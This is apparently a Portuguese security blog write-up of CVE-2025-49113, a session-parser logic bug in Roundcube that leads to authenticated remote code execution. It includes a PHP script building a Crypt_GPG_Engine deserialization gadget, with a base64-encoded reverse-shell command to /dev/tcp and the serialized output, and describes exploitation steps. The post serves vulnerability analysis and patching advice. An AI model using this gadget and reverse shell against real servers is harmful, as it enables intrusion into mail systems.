> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# Por trás da falha: Erro de Lógica no Parser de Sessão do Roundcube [CVE-2025-49113]
- URL: https://yokai.hakaisecurity.io/por-tras-da-falha-erro-de-logica-no-parser-de-sessao-do-roundcube-cve-2025-49113/
- Published: 2025-06-10T18:21:47.000Z
- Updated: 2026-09-08T16:23:57.000Z
- Author: Murilo
- Tags: Research Blog, #wp, pt-br, #pair-CVE-2025-49113

Recentemente, foi descoberta uma *vulnerabilidade* no serviço de *webmail* *Roundcube* que permite a um *usuário autenticado* obter *execução remota de comandos* no servidor. A falha foi identificada pelo pesquisador [Kirill Firsov](https://x.com/k%5Ffirsov?ref=yokai.hakaisecurity.io) e reportada em **2 de junho de 2025**.

# Detalhes da vulnerabilidade

Resumidamente, a falha ocorre devido a um *erro de lógica* em um analisador de sessão (*session parser*) implementado pelos desenvolvedores do *Roundcube*, o qual permite que um atacante injete *objetos arbitrários* na sessão e obtenha *execução remota de código* (**RCE**) por meio de um *gadget* presente na biblioteca *Crypt\_GPG*.

A *vulnerabilidade* está presente no código do *Roundcube* há mais de **10 anos** e foi reportada na versão **1.6.10**. Todas as versões anteriores à **1.6.11**, com exceção da **1.5.10**, estão suscetíveis ao ataque.

Para explorar a vulnerabilidade, é necessário acesso a um *endpoint* que exige *autenticação*; portanto, o atacante precisa de *credenciais válidas* no ambiente *Roundcube*.

# Code Review: Identificando o erro lógico

Antes de iniciar a leitura desta seção, recomendamos fortemente um profundo entendimento sobre o formato dos *objetos serializados* do *PHP*, além de conhecimento em explorações de *deserialização insegura*. Sugerimos a leitura do seguinte *blogpost*: [https://blog.crowsec.com.br/des/](https://blog.crowsec.com.br/des?ref=yokai.hakaisecurity.io)

Como dito na seção de detalhes da *vulnerabilidade*, o *bug* está em um *session parser* implementado pelos desenvolvedores do *Roundcube*.

Acessando o arquivo `rcube_session.php`, observamos o seguinte trecho de código, responsável por registrar os *custom handlers* para as operações realizadas durante o gerenciamento da sessão:

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L109](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L109)

```php
/**
 * Register session handler
 */
public function register_session_handler()
{
    if (session_id()) {
        // Session already exists, skip
        return;
    }

    ini_set('session.serialize_handler', 'php');

    // set custom functions for PHP session management
    session_set_save_handler(
        [$this, 'open'],
        [$this, 'close'],
        [$this, 'read'],
        [$this, 'sess_write'],
        [$this, 'destroy'],
        [$this, 'gc']
    );
}
```

Analisando o método `rcube_session::sess_write()`, observamos que ele realiza a chamada do método `rcube_session::_fixvars()`, que por sua vez invoca o método onde ocorre o *bug lógico*: `rcube_session::unserialize()`.

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L162](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L162)

```php
 /**
   * Session write handler. This calls the implementation methods for write/update after some initial checks.
   *
   * @param string $key  Session identifier
   * @param string $vars Serialized data string
   *
   * @return bool True on success, False on failure
   */
  public function sess_write($key, $vars)
  {
      if ($this->nowrite) {
          return true;
      }

      // check cache
      $oldvars = $this->get_cache($key);

      // if there are cached vars, update store, else insert new data
      if ($oldvars) {
          $newvars = $this->_fixvars($vars, $oldvars); // FUNCTION CALLED HERE
          return $this->update($key, $newvars, $oldvars);
      }
      else {
          return $this->write($key, $vars);
      }
  }
```

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L215](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L215)

```php
/**
 * Merge vars with old vars and apply unsets
 */
protected function _fixvars($vars, $oldvars)
{
    $newvars = '';

    if ($oldvars !== null) {
        $a_oldvars = $this->unserialize($oldvars); // VULNERABLE FUNCTION CALLED HERE

        if (is_array($a_oldvars)) {
            // remove unset keys on oldvars
            foreach ((array)$this->unsets as $var) {
                if (isset($a_oldvars[$var])) {
                    unset($a_oldvars[$var]);
                }
                else {
                    $path = explode('.', $var);
                    $k = array_pop($path);
                    $node = &$this->get_node($path, $a_oldvars);
                    unset($node[$k]);
                }
            }

            $newvars = $this->serialize(array_merge(
                (array)$a_oldvars, (array)$this->unserialize($vars)));
        }
        else {
            $newvars = $vars;
        }
    }

    $this->unsets = [];

    return $newvars;
}
```

A variável `$oldvars` contém o conteúdo da *sessão do PHP*. Veja abaixo um exemplo de conteúdo:

```text
username|s:13:"administrator";isAdmin|b:1;
```

Esse conteúdo é enviado para o método `rcube_session::unserialize()`, que é onde ocorre o *bug lógico*.

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L506](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L506)

```php
/**
 * Unserialize session data
 * https://www.php.net/manual/en/function.session-decode.php#56106
 *
 * @param string $str Serialized data string
 *
 * @return array Unserialized data
 */
public static function unserialize($str)
{
    $str    = (string) $str;
    $endptr = strlen($str);
    $p      = 0;

    $serialized = '';
    $items      = 0;
    $level      = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != '|')
            if (++$q >= $endptr)
                break 2;

        if ($str[$p] == '!') {
            $p++;
            $has_value = false;
        }
        else {
            $has_value = true;
        }

        $name = substr($str, $p, $q - $p);
        $q++;

        $serialized .= 's:' . strlen($name) . ':"' . $name . '";';

	...
}
```

O código é bastante extenso e confuso — ao menos pessoalmente, sempre considerei cansativo analisar *parsers* em geral. Por esse motivo, vamos focar nas partes críticas do *parser* e identificar o ponto exato onde ocorre o *erro lógico*.

Primeiramente, vamos entender como é o formato de uma *sessão no PHP*. Veja abaixo um exemplo de código e sua respectiva saída:

```text
<?php
session_start();
$_SESSION['username'] = 'administrator';
$_SESSION['isAdmin'] = 1;

/*
 * SESSION CONTENT
 * username|s:13:"administrator";isAdmin|b:1;
*/
```

Perceba que o nome do campo e o conteúdo são separados por um `|`.

O método `rcube_session::unserialize()` realiza o *parsing* desse conteúdo e o converte para um formato de *objeto serializado do PHP*. Veja abaixo um exemplo:

```text
username|s:13:"administrator";isAdmin|b:1; // PHP SESSION CONTENT
a:2:{s:8:"username";s:13:"administrator";s:7:"isAdmin";b:1;} // PHP OBJECT SERIALIZED
```

Analisando o *parser*, vemos que ele percorre a *string* até encontrar o caractere `|`. Quando atinge esse caractere, ele salva sua posição e utiliza a função `substr` para extrair o nome da "variável" definida na sessão (lembra do formato da sessão? `username|s:13:"administrator"`).

Até esse momento, o valor da variável `$serialized` seria: `s:8:"username";`

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image.png)

Perceba que o código apresentado na imagem acima realiza uma validação: se o nome da variável começar com `!`, o código não entrará na condição do `if` definida na linha 535.

O código dentro do bloco do `if` realiza o restante do *parsing* da sessão. Como não há nenhum *bug* nesta parte, não entraremos em muitos detalhes.

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-1.png)

Analisando o código do bloco do `else` (executado quando o nome da variável da sessão começa com `!`), observamos que o *parser* "descarta" o conteúdo da variável e incrementa mais 2 nas variáveis `$p` e `$q`.

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-2.png)

Neste ponto, já nos deparamos com o *bug* — e você provavelmente nem percebeu... Sim, é algo bastante sutil e cansativo de revisar.

Para facilitar a explicação do *bug* neste momento, vamos utilizar um exemplo de conteúdo de sessão:

```text
!firstName|s:4:"john";lastName|s:3:"doe";
```

Pela lógica correta, esse conteúdo serializado seria:

```text
a:2:{s:9:"firstName";N;s:8:"lastName";s:3:"doe";}
```

Porém, o resultado do *parser* é:

```text
a:2:{s:9:"firstName";N;s:17:"4:"john";lastName";s:3:"doe";}
```

Isso acontece porque o código incrementa 2 em `$p`, com a intenção de avançar até a posição da próxima variável da sessão. No entanto, esse comportamento está completamente equivocado.

No contexto do exemplo que estamos utilizando, o valor da variável `$p` será **13** ao final da iteração.

Ao retornar ao início do loop, o código começará a iterar a próxima "variável" da sessão a partir da posição 13 da *string*. Ou seja, de acordo com o *parser*, o nome da variável será: `4:"john";lastName`

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-3.png)

Perceba que o valor da primeira variável acaba sendo interpretado como parte do nome da segunda variável. No primeiro loop do *parser*, ele percorre o nome da variável até encontrar o caractere `|`.

E se inserirmos um `|` no nome da segunda variável utilizando esse *bug lógico*? Ao fazer isso, conseguimos *injetar conteúdo* na sessão. Veja um exemplo:

```text
<?php
session_start();

$_SESSION['!firstName'] = '|s:3:"pwn";';
$_SESSION['lastName'] = 'doe';

/*
 * Example of serialized session data:
 * !firstName|s:11:"|s:3:"pwn";";lastName|s:3:"doe";
 * 
 * Example of serialized PHP object:
 * a:3:{s:9:"firstName";N;s:4:"11:"";s:3:"pwn";s:10:"";lastName";s:3:"doe";}
*/
```

Se você estiver se perguntando: “Por que não inserir um `|` diretamente no nome da variável sem precisar explorar o *bug* lógico? Isso não resultaria também em *injection*?”. A resposta é **não**. Por padrão, o *PHP* não permite o caractere `|` no nome das variáveis, justamente para evitar esse tipo de *bug* de injeção de dados na sessão.

A ideia aqui é explorar esse *bug lógico* do *parser* para injetar um *objeto* no conteúdo da sessão e, ao deserializá-lo, conseguirmos disparar um **RCE** utilizando um *gadget*.

Temos dois grandes requisitos para explorar esse *bug*:

- Precisamos de algum *endpoint* que nos dê controle tanto sobre o nome quanto sobre o valor das variáveis de sessão.
- Precisamos de um *gadget* que possibilite a obtenção de **RCE** por meio de *object injection*.

# Explorando vulnerabilidade

Analisando o método `rcmail_action_settings_upload::run()`, observamos que ele cria uma variável na *sessão* sobre a qual temos controle tanto do *nome* quanto do *valor*.

[https://github.com/roundcube/roundcubemail/blob/master/program/actions/settings/upload.php#L30](https://github.com/roundcube/roundcubemail/blob/master/program/actions/settings/upload.php?ref=yokai.hakaisecurity.io#L30)

```php
public function run($args = [])
{
    $rcmail = rcmail::get_instance();
    $from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
    $type   = preg_replace('/(add|edit)-/', '', $from);
    
    // code...
    
    $type = str_replace('.', '-', $type);    
    
    if (!empty($imageprop)) {
          $attachment = $rcmail->plugins->exec_hook('attachment_upload', [
              'path'     => $filepath,
              'size'     => $_FILES['_file']['size'][$i],
              'name'     => $_FILES['_file']['name'][$i],
              'mimetype' => 'image/' . $imageprop['type'],
              'group'    => $type,
          ]);
      }
    
	   // code...
    
    $rcmail->session->append($type . '.files', $id, $attachment);
    
    // code...
}
```

Observamos que o conteúdo do parâmetro `_from` é utilizado como *nome* da variável de sessão. Além disso, o *valor* dessa variável é o objeto contido na variável `$attachment`. O nome do arquivo recebido pelo formulário é atribuído ao campo `name` desse objeto — ou seja, também temos um certo controle sobre o *valor* da variável definida na sessão.

Com isso, já atendemos ao primeiro requisito: controle sobre o *nome* e o *valor* da variável inserida na sessão.

Ao procurar por um *gadget*, encontramos uma *chain* bastante simples na classe `Crypt_GPG_Engine`. O método `Crypt_GPG_Engine::__destruct` invoca o método `Crypt_GPG_Engine::_closeIdleAgents`, que, por sua vez, utiliza a função `proc_open` sobre a propriedade `$this->_gpgconf`.

```php
class Crypt_GPG_Engine
{
    public function __destruct()
    {
        $this->_closeSubprocess();
        $this->_closeIdleAgents();
    }
    
    private function _closeIdleAgents()
    {
        if ($this->_gpgconf) {
            // before 2.1.13 --homedir wasn't supported, use env variable
            $env = array('GNUPGHOME' => $this->_homedir);
            $cmd = $this->_gpgconf . ' --kill gpg-agent';

            if ($process = proc_open($cmd, array(), $pipes, null, $env)) {
                proc_close($process);
            }
        }
    }
}
```

Podemos criar um *gadget* para obter **RCE** atribuindo uma *string* maliciosa à propriedade `$this->_gpgconf` para explorar uma vulnerabilidade de *command injection*.

```php
<?php

class Crypt_GPG_Engine
{
    public string $_gpgconf;

    public function __construct($_gpgconf = '')
    {
        $this->_gpgconf = $_gpgconf;
    }
}

$command = '/bin/bash -c "bash -i >& /dev/tcp/host.docker.internal/8000 0>&1"';
$payload = "echo '" . base64_encode($command) . "'|base64 -d|sh;#";

$crypt_gpg_engine = new Crypt_GPG_Engine($payload);

echo "|" . serialize($crypt_gpg_engine) . ";" . PHP_EOL;

/*
 * Execution output
 * |O:16:"Crypt_GPG_Engine":1:{s:8:"_gpgconf";s:110:"echo 'L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2hvc3QuZG9ja2VyLmludGVybmFsLzgwMDAgMD4mMSI='|base64 -d|sh;#";};
*/

```

Detalhe importante: definir a propriedade como *pública* remove os *bytes nulos* da *payload* serializada — e isso é extremamente relevante para o sucesso da exploração.

Com o *gadget* em mãos e um *endpoint* que nos permite controlar a sessão, podemos prosseguir com a exploração e obter **RCE** no *Roundcube*.

## Obtendo RCE

Acessando a funcionalidade de *upload* de imagem nas configurações de identidade:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-4.png)

Interceptando a requisição utilizando o *Burp Suite*:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-5.png)

Definindo o caractere `!` no campo `_from` (nome da variável) e inserindo a *payload* de injeção com o *gadget* no campo `filename`, conseguimos explorar a *vulnerabilidade* e obter **RCE** na aplicação:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-6.png)

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-7.png)

Durante o estudo da *PoC*, nosso time desenvolveu um *exploit* para facilitar a exploração da *vulnerabilidade*.

[https://github.com/hakaioffsec/CVE-2025-49113-exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit?ref=yokai.hakaisecurity.io)

# Considerações finais

Essa exploração envolve diversos conceitos complexos, como *Insecure Deserialization* e *Session Injection*. No entanto, o ponto mais relevante neste artigo é compreender o *bug lógico* presente no *parser* do conteúdo da sessão.

Durante a reprodução da *PoC*, estudamos o [artigo](https://fearsoff.org/research/roundcube?ref=yokai.hakaisecurity.io) publicado por [**Kirill Firsov**](https://x.com/k%5Ffirsov?ref=yokai.hakaisecurity.io), sendo fundamental obter um entendimento completo do *parser* para alcançar sucesso na exploração (isso ocorreu antes da publicação do código do *exploit*).

Registramos aqui nossas parabenizações ao pesquisador pelo excelente trabalho e pela incrível pesquisa conduzida no *Roundcube*.

## Recomendação

Recomendamos que o *Roundcube* seja atualizado para a versão mais recente (**1.6.11**) ou, alternativamente, para a versão **1.5.10**, que também recebeu o *patch* de segurança.

# Referências

[https://github.com/fearsoff-org/CVE-2025-49113](https://github.com/fearsoff-org/CVE-2025-49113?ref=yokai.hakaisecurity.io)

[Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization \[CVE-2025-49113\]](https://fearsoff.org/research/roundcube?ref=yokai.hakaisecurity.io)

[https://blog.crowsec.com.br/des](https://blog.crowsec.com.br/des?ref=yokai.hakaisecurity.io)

[NVD - CVE-2025-49113](https://nvd.nist.gov/vuln/detail/CVE-2025-49113?ref=yokai.hakaisecurity.io)

[https://github.com/hakaioffsec/CVE-2025-49113-exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit?ref=yokai.hakaisecurity.io)